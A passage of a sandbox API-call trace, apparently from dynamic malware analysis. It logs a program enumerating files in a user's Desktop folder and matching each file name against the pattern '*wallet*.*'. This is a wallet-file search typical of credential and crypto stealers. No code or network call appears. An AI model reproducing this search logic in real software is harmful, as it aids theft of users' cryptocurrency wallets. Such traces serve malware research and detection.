lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340bc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.658] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.658] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340bc0 | out: hHeap=0x2360000) returned 1 [0146.659] PathMatchSpecW (pszFile="4W5ZA5pn.mkv", pszSpec="*wallet*.*") returned 0 [0146.659] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.659] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362af0 | out: hHeap=0x2360000) returned 1 [0146.659] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e0b410, ftCreationTime.dwHighDateTime=0x1d7ab6d, ftLastAccessTime.dwLowDateTime=0xf9aa46a0, ftLastAccessTime.dwHighDateTime=0x1d7acd0, ftLastWriteTime.dwLowDateTime=0xf9aa46a0, ftLastWriteTime.dwHighDateTime=0x1d7acd0, nFileSizeHigh=0x0, nFileSizeLow=0x126ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gt0E_1l d.mkv", cAlternateFileName="GT0E_1~1.MKV")) returned 1 [0146.659] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.659] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.659] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.659] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.659] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.659] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="Gt0E_1l d.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv" [0146.659] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0146.659] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x42) returned 0x32bb748 [0146.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", cchWideChar=66, lpMultiByteStr=0x32bb748, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\Gt0E_1l d.mkv", lpUsedDefaultChar=0x0) returned 66 [0146.659] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362db0 [0146.659] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb748 | out: hHeap=0x2360000) returned 1 [0146.659] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.659] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c40 [0146.659] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.660] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340588 [0146.660] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c40 | out: hHeap=0x2360000) returned 1 [0146.660] PathMatchSpecW (pszFile="Gt0E_1l d.mkv", pszSpec="*wallet*.*") returned 0 [0146.660] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340588 | out: hHeap=0x2360000) returned 1 [0146.660] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362db0 | out: hHeap=0x2360000) returned 1 [0146.660] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888af380, ftCreationTime.dwHighDateTime=0x1d7a9c8, ftLastAccessTime.dwLowDateTime=0xe8bdb7f0, ftLastAccessTime.dwHighDateTime=0x1d7afc3, ftLastWriteTime.dwLowDateTime=0xe8bdb7f0, ftLastWriteTime.dwHighDateTime=0x1d7afc3, nFileSizeHigh=0x0, nFileSizeLow=0x5d17, dwReserved0=0x0, dwReserved1=0x0, cFileName="gxCLkfF5FMxOhrIJ.odp", cAlternateFileName="GXCLKF~1.ODP")) returned 1 [0146.660] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.660] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.660] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.660] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.660] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.660] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="gxCLkfF5FMxOhrIJ.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp" [0146.660] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.660] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362eb8 [0146.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", cchWideChar=73, lpMultiByteStr=0x2362eb8, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\gxCLkfF5FMxOhrIJ.odp", lpUsedDefaultChar=0x0) returned 73 [0146.660] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362d58 [0146.660] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362eb8 | out: hHeap=0x2360000) returned 1 [0146.660] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.661] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c20 [0146.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340c20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.661] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340628 [0146.661] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0146.661] PathMatchSpecW (pszFile="gxCLkfF5FMxOhrIJ.odp", pszSpec="*wallet*.*") returned 0 [0146.661] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340628 | out: hHeap=0x2360000) returned 1 [0146.661] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.661] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e272c90, ftCreationTime.dwHighDateTime=0x1d7acb9, ftLastAccessTime.dwLowDateTime=0x938522d0, ftLastAccessTime.dwHighDateTime=0x1d7ae58, ftLastWriteTime.dwLowDateTime=0x938522d0, ftLastWriteTime.dwHighDateTime=0x1d7ae58, nFileSizeHigh=0x0, nFileSizeLow=0xc988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oI9YDYidz9W1RvrQSv58.bmp", cAlternateFileName="OI9YDY~1.BMP")) returned 1 [0146.661] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.661] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.661] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.661] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.661] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.661] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="oI9YDYidz9W1RvrQSv58.bmp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp" [0146.661] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0146.662] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4d) returned 0x2362bf8 [0146.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", cchWideChar=77, lpMultiByteStr=0x2362bf8, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\oI9YDYidz9W1RvrQSv58.bmp", lpUsedDefaultChar=0x0) returned 77 [0146.662] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23628e0 [0146.662] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.662] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.662] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d80 [0146.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340d80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.662] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0146.662] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d80 | out: hHeap=0x2360000) returned 1 [0146.662] PathMatchSpecW (pszFile="oI9YDYidz9W1RvrQSv58.bmp", pszSpec="*wallet*.*") returned 0 [0146.662] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0146.662] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23628e0 | out: hHeap=0x2360000) returned 1 [0146.662] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ca30, ftCreationTime.dwHighDateTime=0x1d7ad2f, ftLastAccessTime.dwLowDateTime=0x566dfc60, ftLastAccessTime.dwHighDateTime=0x1d7ae34, ftLastWriteTime.dwLowDateTime=0x566dfc60, ftLastWriteTime.dwHighDateTime=0x1d7ae34, nFileSizeHigh=0x0, nFileSizeLow=0x14d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="rREFgeGQqPivNXTKc.odp", cAlternateFileName="RREFGE~1.ODP")) returned 1 [0146.662] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.662] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.662] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.662] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.662] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.663] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="rREFgeGQqPivNXTKc.odp" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp") returned="\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp" [0146.663] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0146.663] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4a) returned 0x2362b48 [0146.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", cchWideChar=74, lpMultiByteStr=0x2362b48, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\rREFgeGQqPivNXTKc.odp", lpUsedDefaultChar=0x0) returned 74 [0146.663] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362a98 [0146.663] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362b48 | out: hHeap=0x2360000) returned 1 [0146.663] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.663] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d60 [0146.663] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340d60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.663] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340420 [0146.663] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d60 | out: hHeap=0x2360000) returned 1 [0146.663] PathMatchSpecW (pszFile="rREFgeGQqPivNXTKc.odp", pszSpec="*wallet*.*") returned 0 [0146.663] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340420 | out: hHeap=0x2360000) returned 1 [0146.663] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362a98 | out: hHeap=0x2360000) returned 1 [0146.663] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x380b4a0, ftCreationTime.dwHighDateTime=0x1d7a7d8, ftLastAccessTime.dwLowDateTime=0xf0fe57d0, ftLastAccessTime.dwHighDateTime=0x1d7a866, ftLastWriteTime.dwLowDateTime=0xf0fe57d0, ftLastWriteTime.dwHighDateTime=0x1d7a866, nFileSizeHigh=0x0, nFileSizeLow=0x18e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFIt1.png", cAlternateFileName="")) returned 1 [0146.663] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.663] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.664] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.664] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.664] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.664] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="VFIt1.png" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png") returned="\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png" [0146.664] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0146.664] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba468 [0146.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", cchWideChar=62, lpMultiByteStr=0x32ba468, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\VFIt1.png", lpUsedDefaultChar=0x0) returned 62 [0146.664] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0146.664] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x2360000) returned 1 [0146.664] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.664] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340b60 [0146.664] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3340b60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.664] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0146.664] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340b60 | out: hHeap=0x2360000) returned 1 [0146.664] PathMatchSpecW (pszFile="VFIt1.png", pszSpec="*wallet*.*") returned 0 [0146.664] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0146.664] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0146.664] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ec9c90, ftCreationTime.dwHighDateTime=0x1d7a1f2, ftLastAccessTime.dwLowDateTime=0xa670a600, ftLastAccessTime.dwHighDateTime=0x1d7aeab, ftLastWriteTime.dwLowDateTime=0xa670a600, ftLastWriteTime.dwHighDateTime=0x1d7aeab, nFileSizeHigh=0x0, nFileSizeLow=0x392a, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmyz7bDpg-Yp_.avi", cAlternateFileName="XMYZ7B~1.AVI")) returned 1 [0146.664] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.664] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.665] lstrcatW (in: 